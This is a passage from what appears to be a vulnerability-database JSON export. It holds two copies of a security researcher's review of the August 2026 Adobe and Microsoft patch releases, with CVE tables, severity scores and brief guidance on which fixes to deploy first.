No\n  No\n  EoP\n \n \n  CVE-2026-62758\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62783\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61918\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61921\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61924\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61356\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61364\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61365\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61367\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62692\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62779\n  Windows Schannel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62757\n  Windows Schannel\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-61355\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62770\n  Windows Shell\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62799\n  Windows SMB Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62782\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65794\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62790\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62800\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61359\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62695\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59132\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62792\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59122\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61353\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62701\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62723\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62724\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62725\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62726\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62729\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62732\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62734\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62748\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62699\n  Windows Universal Disk\n  Format File System Driver (UDFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61926\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62721\n  Windows User-Mode\n  Power Service (UMPS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62711\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62712\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62733\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62876\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62877\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62885\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65678\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65775\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65776\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62730\n  Windows Wired\n  AutoConfig Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61349\n  Windows Work Folder\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61939\n  Winlogon Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56179\n  Windows\n  Network Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \nAs with last month, I\u2019ll do my best to summarize everything else in this release, but assume there are details I miss that are relevant to your environment.\nLooking at the remaining Critical-rated patches, you are safe to ignore the scariest looking ones, including the CVSS 10\u2019s. These have already been mitigated by Microsoft and do not count towards today\u2019s total of 398. The iSCSI Target service, however, is a CVSS 9.8, but it\u2019s not installed by default. Microsoft notes a DHCP Server heap overflow and a SharePoint deserialization bug are both listed as \u201cexploitation more likely\u201d. That SharePoint bug brought two EoP siblings along for the ride. And what would a Patch Tuesday be without Preview Pane exploit vectors in Office components? There are many in August, although there are a few Office bugs listed as Critical but without the Preview Pane vector. Odd. Then there\u2019s the mid-tier pile no one is proud of, but everybody needs to patch anyway: AD CS, RRAS, SSTP, and a matched pair in Device Health Attestation, all leaning on higher attack complexity as their only saving grace. Consider this a coin flip, not a shield. The bug in RMCAST is unauthenticated but requires an adjacent attacker. The bug in Key Guard is a bit interesting, as it could lead to an attacker gaining Virtual Trust Level 1 (VTL1) privileges. The final Critical-rated bug is in the RDP client, but it requires a user to connect to a malicious RDP server.\nMoving on to the other code execution bugs, SharePoint alone accounts for seven of these, six of them the same deserialization-of-untrusted-data flaw repeated almost verbatim across different code paths, all needing only low-privilege auth and no interaction. The seventh is an input-validation miss that needs no auth at all, just a harder-to-pull-off attack chain. LDAP and SMBv3 each draw a matching pair of patches. The LDAP bugs are a heap overflow and a use-after-free, both needing a user to interact with something first; the SMBv3 pair is twin heap overflows. Visual Studio Code adds three of its own: missing authorization, OS command injection, and straight code injection, all requiring a user to open or run something. The AI-coding-tool-vuln-of-the-month tradition continues uninterrupted. The rest of the CVSS 8.1\u20138.8 tier is a grab bag with a common thread \u2014 LSASS and Exchange Server both go down to heap overflows with low-privilege access, Dynamics 365 On-Premises gets the SharePoint treatment (deserialization), and Active Directory Domain Services picks up a command-injection bug that needs a user's cooperation. Add one apiece for Teams, Power BI, Outlook, and a pair for Windows Media Foundation, plus a higher-complexity trio: RPC Runtime Library, Windows TCP/IP, and a second iSCSI Target Service bug. All needing unusual attack conditions to line up, which buys you a little time but not an excuse. Then the file-format mountain: seventeen Excel bugs, six in Access, four apiece in Office and Office Word, one plain Word, one PowerPoint, one .NET Core. Remote Desktop Client's other three bugs sit at a comparatively modest 7.5, but don't read too much comfort into that \u2014 all three need high attack complexity and user interaction, which is precisely the combination phishing campaigns are built to satisfy. Closing out RCE category, there are two more DNS Server bugs, a DHCP Client use-after-free needing local low-privilege access, a Universal Disk Format driver bug that requires physical media and a Windows Codecs Library.\nThere are nearly 180 privilege escalation bugs fixed this month, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. Believe it or not, that leaves only about 20 bugs to discuss. Access control keeps failing in the same places: SharePoint draws two EoPs, then contributes a third via server-side request forgery, and a fourth through cross-site scripting (XSS) that at least needs a user to click something first. Entra Connect adds a SQL injection, .NET Framework an incorrect-authorization bug, and Azure CycleCloud adds a missing-authorization flaw, That\u2019s five different products with the same underlying lesson about checking who\u2019s allowed to do what. Windows Telephony Service is the surprise repeat offender, landing four separate EoPs, but four bugs in one dusty legacy service in a single release is the kind of pattern that makes you wonder who's still dialing in. The rest is a genuine grab bag: Key Guard gets a heap overflow sitting on the trust chain below the OS, DHCP Client and Narrator Braille both fall to local low-privilege bugs, .NET picks up an uncaught exception that actually changes scope, .NET Framework adds a path-traversal bug requiring a click, GitHub Copilot and VS Code get an OS command injection needing the same, Azure Storage Explorer falls to XSS, Azure Monitor Agent and OneDrive for macOS both need high privileges just to start, which caps their real-world urgency, and Exchange Server closes it out with an SSRF bug whose blast radius Microsoft itself rates as confidentiality-only, no integrity or availability hit.\nThere are 11 SFB bugs this month, all Important, none exploited or publicly disclosed. Visual Studio Code accounts for four, Python extension included: one fails open outright, the other three trip on bad authorization checks \u2014 all need a click, which is a low bar in a tool people click through constantly. PowerShell adds a code-injection bypass, and Copilot Chat gets one as well. Exchange Server and Windows Defender Firewall Service both via have missing authorization bugs. The .NET service has a bug via HTTP request smuggling, Active Directory via weak encryption, and Schannel via bad signature verification. In the low individual urgency category, both Schannel and AD have bugs with  \u201cbroken crypto trust\u201d are worth a second look despite the low scores.\nLooking at the info disclosure bugs, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. There are few others of note. The CVSS 6.5 tier is the one with more bite: Windows DHCP Server alone accounts for eight of these, three more hit Remote Desktop Client, two hit SMB Client, two hit Excel, and singles land in PowerShell, .NET, Azure CycleCloud, two Dynamics products, SharePoint, Teams iOS, and VS Code. All are unauthenticated, network-reachable memory leaks, but DHCP Server picking up eight in one release is a pattern, not noise. Everything else sits at 5.5 or below and is almost entirely \"leaks unspecified memory contents,\" differing mainly by which component leaks it. Office file formats dominate with roughly twenty bugs split across Excel, Word, Office generically, Office Graphics, and PowerPoint. Win32k contributes four, NTFS five, GDI/GDI+ three, Event Logging and WMI two apiece, DWM Core two, AMD Zen two. The remaining singles clear out fine during a normal patch cycle without special urgency.\nMoving on to spoofing patches for August, SharePoint dominates with eleven bugs, mostly stored XSS letting an authenticated attacker spoof content, plus a mixed bag of deserialization, code injection, SSRF, and credential exposure at the low end. Outside SharePoint, Teams for Android/iOS gets a high-CVSS (8.8) XSS bug. Exchange Server gets one too. Windows NAT has a scope-changing origin-validation flaw reachable from an adjacent network, and Outlook closes it out with a credential-exposure spoofing bug.\nThere are 14 DoS bugs getting patched this month. NULL pointer dereferences dominate: TCP/IP, iSCSI Target Service, Windows Graphics Kernel, and Remote Registry Service (twice) all crash the same way, unauthenticated over the network. iSCSI Target Service adds a second DoS via heap overflow, with three hits total this release counting its RCE. Resource-exhaustion bugs cover .NET, RPC, DHCP Client, and Microsoft Identity - all unauthenticated, all just flood-and-crash. The rest need local or elevated access: Exchange Server, Windows Network File System, and path/link-resolution bug in Windows Management Services. In other words, nothing exotic. Just patch it in the normal cycle, with a nod to Remote Registry Service and iSCSI Target Service for repeat appearances.\nFinally, there are a handful of tampering bugs receiving patches this month. They start with SharePoint via incorrect authorization. The Windows HTTP Protocol Stack has a bug via a partial string comparison flaw reachable from an adjacent network, and Windows Hello via cleartext storage of sensitive data locally. The Hello one is the one worth a second glance. Biometric auth storing something in the clear isn't a great look, even at a modest 5.5.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on September 8, just after Labor Day here is the US. I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-08-11T19:01:26.151130Z"}, {"uuid": "9e24c2e1-1dff-4836-8968-5625061fb4a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54981", "type": "seen", "source": "https://www.thezdi.com/blog/2026/8/11/the-august-2026-security-update-review", "content": "I\u2019ve successfully survived Hacker Summer Camp, and I have returned with a new outlook on patch density. When even Linus Torvalds says that huge updates are the \u201cnew normal\u201d, it\u2019s time to readjust what we consider a true bug apocalypse. This month\u2019s release is thankfully smaller than last months, but still huge by historical standards. Take a break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for August 2026\nFor the first part of the August release, Adobe released five bulletins addressing 51 unique CVEs in Adobe ColdFusion, Commerce, Lightroom Classic, Content Credentials SDK, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\nAdobe Patches for August 2026\n\n\n\n  \nAdobe Patches for August 2026\n  \n\n    \n      \n        Bulletin ID\n        Product\n        CVE Count\n        Highest Severity\n        Highest CVSS\n        Exploited\n        Deployment Priority\n      \n    \n    \n      \n        APSB26-90\n        Adobe ColdFusion\n        15\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-123\n        Adobe Campaign Classic\n        3\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-92\n        Adobe Commerce\n        7\n        Critical\n        9.1\n        No\n        2\n      \n      \n        APSB26-94\n        Adobe Lightroom Classic\n        11\n        Critical\n        8.6\n        No\n        3\n      \n      \n        APSB26-111\n        Content Credentials SDK\n        15\n        Critical\n        7.5\n        No\n        3\n      \n      \n        TOTAL\n        5 bulletins\n        51\n        \n        \n        \n        \n      \n    \n  \n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \nIf you\u2019re running Campaign Classic, that\u2019s your priority. Not only is it a deployment priority of 1, but it also contains two different CVSS 10 bugs and supersedes the patch that was just released on August 3. ColdFusion is also deployment priority 1 and also contains a CVSS 10 bug. Adobe Commerce rates a priority 2 with code execution bugs as high as CVSS 9.1. The patches for Lightroom Classic and Content Credentials SDK are packed with CVEs, but only rate a deployment priority of 3.\nNone of the Adobe bugs receiving patches this month are listed as publicly known or under active attack at the time of release.\nMicrosoft Patches for August 2026\nThere are a couple of things to point out right at the beginning. Again, counting is difficult due to the size, but I see 398 new CVEs to go along with the other updates documented this month. However, there is only one listed being under active attack, so we\u2019ve got that going for us, which is nice. The release impacts Windows and Windows components, Office and Office Components, AMD Zen, Azure and Azure Components, GitHub Copilot, Windows Defender, Exchange Server, SharePoint, OneDrive for macOS, Teams, Power BI, .NET and Visual Studio, DHCP Server and Client, DNS Server, and Windows TPM. Minecraft is absent from this release.  All told, there are 62 rated Critical, one rated Moderate, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program.\nThis volume of updates indeed seems to be the new normal \u2013 at least for now. What is interesting is that, while there is an explosion of bugs being reported (and fixed), there has been no equivalent increase in the number of bugs being actively exploited, at least as 0-days.\nAgain, we\u2019ll start with the bug under active attack and move on from there. \n-              CVE-2026-68820 - Windows Ancillary Function Driver for WinSock Elevation of Privilege VulnerabilityThis bug allows attackers to execute code at SYSTEM level. Bugs of this type are often paired with code execution bugs to take over a system, often through phishing or ransomware. One nitpick here: Microsoft lists the Exploit Code Maturity in the CVSS as \u201cUnproven\u201d but calls this out as actively exploited. Somewhere, that math ain\u2019t mathing.\n-              CVE-2026-62878 - Windows DNS Server Remote Code Execution VulnerabilityThere are several DNS-related patches this month, but this one stands out by far. It allows a remote, unauthenticated attacker to execute code with elevated privileges without user interaction. It\u2019s a good ol\u2019 fashioned stack-based buffer overflow that ends up wormable. Microsoft states exploitation is less likely, but I wouldn\u2019t count on that. I suggest testing and deploying this one quickly, especially to your Internet-facing DNS servers.\n -              CVE-2026-62893 - Windows Deployment Services TFTP Server Remote Code Execution VulnerabilityThis bug came through the ZDI program and allows for code execution without user authentication or user interaction. TFTP has no auth mechanism and is available remotely vid UDP port 69. Any WDS server serving Windows Imaging Format (WIM) files via TFTP (the standard PXE boot scenario) is vulnerable. The issue results from the lack of validating the existence of an object prior to performing operations on the object. UDP port 69 should be blocked at your perimeter, but this could easily be used by attackers for lateral movement within an enterprise. Again, test and deploy this one quickly if you\u2019re using WDS for deployments in your enterprise.\n -              CVE-2026-62815 - Microsoft QUIC Remote Code Execution VulnerabilityHere we have another remote, unauthenticated code execution bug that doesn\u2019t require user interaction. This one is in the QUIC component. If you aren\u2019t familiar with it, QUIC is an IETF-standardized transport protocol that runs over UDP instead of TCP, and it's the foundation for HTTP/3. Roughly 13.5 million websites rely on it. If you are one of those millions, test and deploy this patch rapidly.\n -              CVE-2026-59124 - Microsoft High Performance Computing (HPC) Pack Remote Code Execution VulnerabilityDon\u2019t let the Important severity rating fool you; this is still a CVSS 9.8 bug. It gets knocked down since HPC isn\u2019t on by default. However, it\u2019s a hugely growing segment, and this is another remote, unauthenticated code execution bug that does not require user interaction. It might not be applicable to everyone, but if you\u2019re using HPC in your environment, this is not one to sleep on, especially since Microsoft lists this as \u201cexploitation more likely\u201d.\n -              CVE-2026-62911 - Microsoft Exchange Server Elevation of Privilege VulnerabilityThere are several Exchange bugs in this release, but this one really stands out. It could allow a privilege escalation via an authentication bypass. If successful, an attacker could \u201ctake over the mailboxes of all Exchange users, attackers can send emails, read emails, download attachments.\u201d This bug was one of the ones demonstrated at Pwn2Own Berlin, so ignore Microsoft\u2019s exploitability and Exploit Code Maturity ratings. We handed them working exploits, so this is a real threat. As always, test out those Exchange updates before deploying, but don\u2019t hurry up and schedule that downtime for your upgrade. \nHere\u2019s the full list of CVEs released by Microsoft for August 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-68820\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-62832\n  Windows User Profile\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  EoP\n \n \n  CVE-2026-49163 **\n  Application Insights\n  Profiler Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50481 **\n  Azure Active Directory\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68823 **\n  Azure Confidential\n  Ledger Remote Code Execution Vulnerability\n  Critical\n  9.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62869 **\n  Azure Entra ID\n  Spoofing Vulnerability\n  Critical\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56161 **\n  Azure Logic Apps\n  Information Disclosure Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50515 **\n  Azure Service Bus\n  Remote Code Execution Vulnerability\n  Critical\n  9.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-56162 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-63522 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62836 **\n  Azure SQL Managed\n  Instance Elevation of Privilege Vulnerability\n  Critical\n  8.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62830 **\n  Azure SRE Agent\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-62873 **\n  Microsoft 365 Admin\n  Center Elevation of Privilege Vulnerability\n  Critical\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50516 **\n  Microsoft Azure\n  Kubernetes Service Elevation of Privilege Vulnerability\n  Critical\n  9.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-59115 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68794\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68804\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68816\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62911\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-63513\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63519\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63526\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65664\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66807\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63515\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63532\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64898\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64903\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64909\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64910\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64911\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65657\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70130\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-70332 **\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63518\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63525\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64907\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63508 **\n  Microsoft Planetary\n  Computer Pro Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-59118 **\n  Microsoft Power Apps\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-65668 **\n  Microsoft Purview\n  eDiscovery Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62815\n  Microsoft QUIC Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62827\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64921\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65665\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62896 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  9.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-65667 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-62918 **\n  Microsoft Teams\n  Spoofing Vulnerability\n  Critical\n  7.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62824\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62818\n  Windows Active\n  Directory Certificate Services (AD CS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62893\n  Windows Deployment\n  Services TFTP Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66802\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-71331\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62823\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62817\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62820\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62878\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65789\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62890\n  Windows GDI+ Elevation\n  of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62822\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65791\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66799\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62816\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62819\n  Windows Routing and\n  Remote Access Service (RRAS) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62889\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-70354\n  .NET Core Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62901\n  .NET Denial of Service\n  Vulnerability\n  